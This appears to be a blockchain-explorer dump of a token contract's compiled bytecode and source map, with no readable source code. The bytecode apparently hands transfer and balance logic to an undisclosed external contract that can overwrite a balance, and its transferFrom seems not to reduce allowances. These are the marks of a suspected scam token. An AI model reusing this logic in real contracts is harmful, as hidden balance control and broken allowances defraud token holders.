900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191c9190612285565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c99190612285565b6040518363ffffffff1660e01b81526004016119e69291906125c7565b602060405180830381865afa158015611a03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a279190612285565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663beabacc88585856040518463ffffffff1660e01b8152600401611a8d939291906125f0565b602060405180830381865afa158015611aaa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ace919061263c565b90509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b11578082015181840152602081019050611af6565b60008484015250505050565b6000601f19601f8301169050919050565b6000611b3982611ad7565b611b438185611ae2565b9350611b53818560208601611af3565b611b5c81611b1d565b840191505092915050565b60006020820190508181036000830152611b818184611b2e565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611bb982611b8e565b9050919050565b611bc981611bae565b8114611bd457600080fd5b50565b600081359050611be681611bc0565b92915050565b6000819050919050565b611bff81611bec565b8114611c0a57600080fd5b50565b600081359050611c1c81611bf6565b92915050565b60008060408385031215611c3957611c38611b89565b5b6000611c4785828601611bd7565b9250506020611c5885828601611c0d565b9150509250929050565b60008115159050919050565b611c7781611c62565b82525050565b6000602082019050611c926000830184611c6e565b92915050565b611ca181611bec565b82525050565b6000602082019050611cbc6000830184611c98565b92915050565b611ccb81611c62565b8114611cd657600080fd5b50565b600081359050611ce881611cc2565b92915050565b600060208284031215611d0457611d03611b89565b5b6000611d1284828501611cd9565b91505092915050565b600080600060608486031215611d3457611d33611b89565b5b6000611d4286828701611bd7565b9350506020611d5386828701611bd7565b9250506040611d6486828701611c0d565b9150509250925092565b60008060008060808587031215611d8857611d87611b89565b5b6000611d9687828801611bd7565b9450506020611da787828801611bd7565b9350506040611db887828801611cd9565b9250506060611dc987828801611bd7565b91505092959194509250565b600080600060608486031215611dee57611ded611b89565b5b6000611dfc86828701611bd7565b9350506020611e0d86828701611bd7565b9250506040611e1e86828701611bd7565b9150509250925092565b600060208284031215611e3e57611e3d611b89565b5b6000611e4c84828501611bd7565b91505092915050565b611e5e81611bae565b82525050565b6000602082019050611e796000830184611e55565b92915050565b60008060408385031215611e9657611e95611b89565b5b6000611ea485828601611bd7565b9250506020611eb585828601611bd7565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f0657607f821691505b602082108103611f1957611f18611ebf565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f55602083611ae2565b9150611f6082611f1f565b602082019050919050565b60006020820190508181036000830152611f8481611f48565b9050919050565b600060a082019050611fa06000830188611e55565b611fad6020830187611e55565b611fba6040830186611c6e565b611fc76060830185611e55565b611fd46080830184611e55565b9695505050505050565b600081519050611fed81611cc2565b92915050565b60006020828403121561200957612008611b89565b5b600061201784828501611fde565b91505092915050565b60006060820190506120356000830186611e55565b6120426020830185611e55565b61204f6040830184611e55565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061209182611bec565b915061209c83611bec565b92508282019050808211156120b4576120b3612057565b5b92915050565b60006120c582611bec565b91506120d083611bec565b92508282039050818111156120e8576120e7612057565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061214a602583611ae2565b9150612155826120ee565b604082019050919050565b600060208201905081810360008301526121798161213d565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121dc602383611ae2565b91506121e782612180565b604082019050919050565b6000602082019050818103600083015261220b816121cf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061227f81611bc0565b92915050565b60006020828403121561229b5761229a611b89565b5b60006122a984828501612270565b91505092915050565b6000819050919050565b6000819050919050565b60006122e16122dc6122d7846122b2565b6122bc565b611bec565b9050919050565b6122f1816122c6565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61232c81611bae565b82525050565b600061233e8383612323565b60208301905092915050565b6000602082019050919050565b6000612362826122f7565b61236c8185612302565b935061237783612313565b8060005b838110156123a857815161238f8882612332565b975061239a8361234a565b92505060018101905061237b565b5085935050505092915050565b600060a0820190506123ca6000830188611c98565b6123d760208301876122e8565b81810360408301526123e98186612357565b90506123f86060830185611e55565b6124056080830184611c98565b9695505050505050565b600061241a82611bec565b915061242583611bec565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561245e5761245d612057565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006124a382611bec565b91506124ae83611bec565b9250826124be576124bd612469565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612525602183611ae2565b9150612530826124c9565b604082019050919050565b6000602082019050818103600083015261255481612518565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000612591601a83611ae2565b915061259c8261255b565b602082019050919050565b600060208201905081810360008301526125c081612584565b9050919050565b60006040820190506125dc6000830185611e55565b6125e96020830184611e55565b9392505050565b60006060820190506126056000830186611e55565b6126126020830185611e55565b61261f6040830184611c98565b949350505050565b60008151905061263681611bf6565b92915050565b60006020828403121561265257612651611b89565b5b600061266084828501612627565b9150509291505056fea2646970667358221220a6e9e85ca193cada78d371c542dc1113391ea00898131e6c018d6346c6f129f464736f6c63430008100033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80635932ead1116100de5780638da5cb5b11610097578063a8b0898211610071578063a8b0898214610452578063a9059cbb14610470578063dd62ed3e146104a0578063e884f260146104d057610173565b80638da5cb5b146103e657806395d89b4114610404578063a457c2d71461042257610173565b80635932ead1146103385780636675187e1461035457806367c503c01461037257806370a08231146103a2578063715018a6146103d25780638a8c523c146103dc57610173565b806332424aa31161013057806332424aa31461024e578063324541c61461026c57806335bc3a8b1461029c57806339509351146102cc5780633eaaf86b146102fc57806348d3ab1f1461031a57610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c65780631ed950c9146101e457806323b872dd14610200578063313ce56714610230575b600080fd5b6101806104da565b60405161018d9190611b67565b60405180910390f35b6101b060048036038101906101ab9190611c22565b61056c565b6040516101bd9190611c7d565b60405180910390f35b6101ce610583565b6040516101db9190611ca7565b60405180910390f35b6101fe60048036038101906101f99190611cee565b61058d565b005b61021a60048036038101906102159190611d1b565b61061f565b6040516102279190611c7d565b60405180910390f35b6102386106c0565b6040516102459190611ca7565b60405180910390f35b6102566106ca565b6040516102639190611ca7565b60405180910390f35b61028660048036038101906102819190611d6e565b6106d0565b6040516102939190611c7d565b60405180910390f35b6102b660048036038101906102b19190611dd5565b610782565b6040516102c39190611c7d565b60405180910390f35b6102e660048036038101906102e19190611c22565b61082d565b6040516102f39190611c7d565b60405180910390f35b6103046108cb565b6040516103119190611ca7565b60405180910390f35b6103226108d1565b60405161032f9190611ca7565b60405180910390f35b610352600480360381019061034d9190611cee565b6108da565b005b61035c61096c565b6040516103699190611c7d565b60405180910390f35b61038c60048036038101906103879190611dd5565b61097f565b6040516103999190611c7d565b60405180910390f35b6103bc60048036038101906103b79190611e28565b610995565b6040516103c99190611ca7565b60405180910390f35b6103da6109de565b005b6103e4610b11565b005b6103ee610ba3565b6040516103fb9190611e64565b60405180910390f35b61040c610bcc565b6040516104199190611b67565b60405180910390f35b61043c60048036038101906104379190611c22565b610c5e565b6040516104499190611c7d565b60405180910390f35b61045a610d85565b6040516104679190611e64565b60405180910390f35b61048a60048036038101906104859190611c22565b610dab565b6040516104979190611c7d565b60405180910390f35b6104ba60048036038101906104b59190611e7f565b610dc2565b6040516104c79190611ca7565b60405180910390f35b6104d8610e49565b005b6060600980546104e990611eee565b80601f016020809104026020016040519081016040528092919081815260200182805461051590611eee565b80156105625780601f1061053757610100808354040283529160200191610562565b820191906000526020600020905b81548152906001019060200180831161054557829003601f168201915b5050505050905090565b6000610579338484610edb565b6001905092915050565b6000600554905090565b3373ffffffffffffffffffffffffffffffffffffffff166105ac610ba3565b73ffffffffffffffffffffffffffffffffffffffff1614610602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f990611f6b565b60405180910390fd5b80600b60036101000a81548160ff02191690831515021790555050565b600061062c8484846110a4565b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106b557600080fd5b600190509392505050565b6000600454905090565b60045481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638d012ca486868630876040518663ffffffff1660e01b8152600401610735959493929190611f8b565b6020604051808303816000875af1158015610754573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107789190611ff3565b9050949350505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632f2e29b58585856040518463ffffffff1660e01b81526004016107e393929190612020565b602060405180830381865afa158015610800573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108249190611ff3565b90509392505050565b60006108c1338484600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108bc9190612086565b610edb565b6001905092915050565b60055481565b60006002905090565b3373ffffffffffffffffffffffffffffffffffffffff166108f9610ba3565b73ffffffffffffffffffffffffffffffffffffffff161461094f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094690611f6b565b60405180910390fd5b80600b60026101000a81548160ff02191690831515021790555050565b600b60039054906101000a900460ff1681565b600061098c848484610782565b90509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166109fd610ba3565b73ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4a90611f6b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610b30610ba3565b73ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7d90611f6b565b60405180910390fd5b6001600b60016101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610bdb90611eee565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0790611eee565b8015610c545780601f10610c2957610100808354040283529160200191610c54565b820191906000526020600020905b815481529060010190602001808311610c3757829003601f168201915b5050505050905090565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ce957600080fd5b610d7b338484600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d7691906120ba565b610edb565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610db83384846110a4565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610e68610ba3565b73ffffffffffffffffffffffffffffffffffffffff1614610ebe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb590611f6b565b60405180910390fd5b6000600b60046101000a81548160ff021916908315150217905550565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4190612160565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb0906121f2565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110979190611ca7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110dd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361111657600080fd5b6111438383600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661097f565b1561115757611152818361130d565b611308565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156111a357600080fd5b60006111b08484846115d7565b905081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111fd91906120ba565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808261124c91906120ba565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461129a9190612086565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112fe9190611ca7565b60405180910390a3505b505050565b61133a30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610edb565b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561139b5761139a612212565b5b6040519080825280602002602001820160405280156113c95781602001602082028036833780820191505090505b5090506001600b60006101000a81548160ff02191690831515021790555030816000815181106113fc576113fb612241565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c79190612285565b816001815181106114db576114da612241565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426115659190612086565b6040518663ffffffff1660e01b81526004016115859594939291906123b5565b600060405180830381600087803b15801561159f57600080fd5b505af11580156115b3573d6000803e3d6000fd5b505050506000600b60006101000a81548160ff021916908315150217905550505050565b600080600090506115e785611676565b600260006115f36116e8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163b8585611780565b1561166b57611668606461165a600754866117b190919063ffffffff16565b61182b90919063ffffffff16565b90505b809150509392505050565b6000806116816116e8565b9050600061168d611889565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506116de858383611a2c565b9350505050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639af5349a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611757573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061177b9190612285565b905090565b60008061178b611889565b90506117a88484600b60009054906101000a900460ff16846106d0565b91505092915050565b60008083036117c35760009050611825565b600082846117d1919061240f565b90508284826117e09190612498565b14611820576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118179061253b565b60405180910390fd5b809150505b92915050565b600080821161186f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611866906125a7565b60405180910390fd5b6000828461187d9190612498565b90508091505092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191c9190612285565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c99190612285565b6040518363ffffffff1660e01b81526004016119e69291906125c7565b602060405180830381865afa158015611a03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a279190612285565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663beabacc88585856040518463ffffffff1660e01b8152600401611a8d939291906125f0565b602060405180830381865afa158015611aaa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ace919061263c565b90509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b11578082015181840152602081019050611af6565b60008484015250505050565b6000601f19601f8301169050919050565b6000611b3982611ad7565b611b438185611ae2565b9350611b53818560208601611af3565b611b5c81611b1d565b840191505092915050565b60006020820190508181036000830152611b818184611b2e565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611bb982611b8e565b9050919050565b611bc981611bae565b8114611bd457600080fd5b50565b600081359050611be681611bc0565b92915050565b6000819050919050565b611bff81611bec565b8114611c0a57600080fd5b50565b600081359050611c1c81611bf6565b92915050565b60008060408385031215611c3957611c38611b89565b5b6000611c4785828601611bd7565b9250506020611c5885828601611c0d565b9150509250929050565b60008115159050919050565b611c7781611c62565b82525050565b6000602082019050611c926000830184611c6e565b92915050565b611ca181611bec565b82525050565b6000602082019050611cbc6000830184611c98565b92915050565b611ccb81611c62565b8114611cd657600080fd5b50565b600081359050611ce881611cc2565b92915050565b600060208284031215611d0457611d03611b89565b5b6000611d1284828501611cd9565b91505092915050565b600080600060608486031215611d3457611d33611b89565b5b6000611d4286828701611bd7565b9350506020611d5386828701611bd7565b9250506040611d6486828701611c0d565b9150509250925092565b60008060008060808587031215611d8857611d87611b89565b5b6000611d9687828801611bd7565b9450506020611da787828801611bd7565b9350506040611db887828801611cd9565b9250506060611dc987828801611bd7565b91505092959194509250565b600080600060608486031215611dee57611ded611b89565b5b6000611dfc86828701611bd7565b9350506020611e0d86828701611bd7565b9250506040611e1e86828701611bd7565b9150509250925092565b600060208284031215611e3e57611e3d611b89565b5b6000611e4c84828501611bd7565b91505092915050565b611e5e81611bae565b82525050565b6000602082019050611e796000830184611e55565b92915050565b60008060408385031215611e9657611e95611b89565b5b6000611ea485828601611bd7565b9250506020611eb585828601611bd7565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f0657607f821691505b602082108103611f1957611f18611ebf565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f55602083611ae2565b9150611f6082611f1f565b602082019050919050565b60006020820190508181036000830152611f8481611f48565b9050919050565b600060a082019050611fa06000830188611e55565b611fad6020830187611e55565b611fba6040830186611c6e565b611fc76060830185611e55565b611fd46080830184611e55565b9695505050505050565b600081519050611fed81611cc2565b92915050565b60006020828403121561200957612008611b89565b5b600061201784828501611fde565b91505092915050565b60006060820190506120356000830186611e55565b6120426020830185611e55565b61204f6040830184611e55565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061209182611bec565b915061209c83611bec565b92508282019050808211156120b4576120b3612057565b5b92915050565b60006120c582611bec565b91506120d083611bec565b92508282039050818111156120e8576120e7612057565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061214a602583611ae2565b9150612155826120ee565b604082019050919050565b600060208201905081810360008301526121798161213d565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121dc602383611ae2565b91506121e782612180565b604082019050919050565b6000602082019050818103600083015261220b816121cf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061227f81611bc0565b92915050565b60006020828403121561229b5761229a611b89565b5b60006122a984828501612270565b91505092915050565b6000819050919050565b6000819050919050565b60006122e16122dc6122d7846122b2565b6122bc565b611bec565b9050919050565b6122f1816122c6565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61232c81611bae565b82525050565b600061233e8383612323565b60208301905092915050565b6000602082019050919050565b6000612362826122f7565b61236c8185612302565b935061237783612313565b8060005b838110156123a857815161238f8882612332565b975061239a8361234a565b92505060018101905061237b565b5085935050505092915050565b600060a0820190506123ca6000830188611c98565b6123d760208301876122e8565b81810360408301526123e98186612357565b90506123f86060830185611e55565b6124056080830184611c98565b9695505050505050565b600061241a82611bec565b915061242583611bec565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561245e5761245d612057565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006124a382611bec565b91506124ae83611bec565b9250826124be576124bd612469565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612525602183611ae2565b9150612530826124c9565b604082019050919050565b6000602082019050818103600083015261255481612518565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000612591601a83611ae2565b915061259c8261255b565b602082019050919050565b600060208201905081810360008301526125c081612584565b9050919050565b60006040820190506125dc6000830185611e55565b6125e96020830184611e55565b9392505050565b60006060820190506126056000830186611e55565b6126126020830185611e55565b61261f6040830184611c98565b949350505050565b60008151905061263681611bf6565b92915050565b60006020828403121561265257612651611b89565b5b600061266084828501612627565b9150509291505056fea2646970667358221220a6e9e85ca193cada78d371c542dc1113391ea00898131e6c018d6346c6f129f464736f6c63430008100033
Deployed Bytecode Sourcemap
6137:5592:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8664:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9183:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8901:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11506:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10788:248;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8822:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6353:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4667:267;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4500:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6844:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6388:55;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8995:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11370:93;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11469:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4336:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9072:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4077:148;;;:::i;:::-;;11242:84;;;:::i;:::-;;3860:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8741:75;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7061:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6450:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10605:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6687:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11635:91;;;:::i;:::-;;8664:71;8703:13;8727:5;8720:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8664:71;:::o;9183:167::-;9266:4;9283:37;9292:10;9304:7;9313:6;9283:8;:37::i;:::-;9338:4;9331:11;;9183:167;;;;:::o;8901:88::-;8956:7;8974:12;;8967:19;;8901:88;:::o;11506:91::-;4004:10;3993:21;;:7;:5;:7::i;:::-;:21;;;3985:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;11588:1:::1;11575:10;;:14;;;;;;;;;;;;;;;;;;11506:91:::0;:::o;10788:248::-;10892:4;10909:38;10923:4;10929:9;10940:6;10909:13;:38::i;:::-;10999:6;10966:11;:17;10978:4;10966:17;;;;;;;;;;;;;;;:29;10984:10;10966:29;;;;;;;;;;;;;;;;:39;;10958:48;;;;;;11024:4;11017:11;;10788:248;;;;;:::o;8822:73::-;8865:7;8883:9;;8876:16;;8822:73;:::o;6353:28::-;;;;:::o;4667:267::-;4767:4;4791:5;;;;;;;;;;;:18;;;4824:4;4843:9;4867:12;4902:4;4922:3;4791:135;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4784:142;;4667:267;;;;;;:::o;4500:161::-;4590:4;4614:5;;;;;;;;;;;:16;;;4631:4;4637:2;4641:11;4614:39;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4607:46;;4500:161;;;;;:::o;6844:211::-;6932:4;6949:76;6958:10;6970:7;7014:10;6979:11;:23;6991:10;6979:23;;;;;;;;;;;;;;;:32;7003:7;6979:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;6949:8;:76::i;:::-;7043:4;7036:11;;6844:211;;;;:::o;6388:55::-;;;;:::o;8995:71::-;9044:7;9062:1;9055:8;;8995:71;:::o;11370:93::-;4004:10;3993:21;;:7;:5;:7::i;:::-;:21;;;3985:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;11454:1:::1;11436:15;;:19;;;;;;;;;;;;;;;;;;11370:93:::0;:::o;11469:30::-;;;;;;;;;;;;;:::o;4336:158::-;4427:4;4451:35;4464:4;4470:2;4474:11;4451:12;:35::i;:::-;4444:42;;4336:158;;;;;:::o;9072:105::-;9138:7;9156:9;:18;9166:7;9156:18;;;;;;;;;;;;;;;;9149:25;;9072:105;;;:::o;4077:148::-;4004:10;3993:21;;:7;:5;:7::i;:::-;:21;;;3985:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4184:1:::1;4147:40;;4168:6;::::0;::::1;;;;;;;;4147:40;;;;;;;;;;;;4215:1;4198:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;4077:148::o:0;11242:84::-;4004:10;3993:21;;:7;:5;:7::i;:::-;:21;;;3985:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;11314:4:::1;11297:14;;:21;;;;;;;;;;;;;;;;;;11242:84::o:0;3860:87::-;3906:7;3933:6;;;;;;;;;;;3926:13;;3860:87;:::o;8741:75::-;8782:13;8806:7;8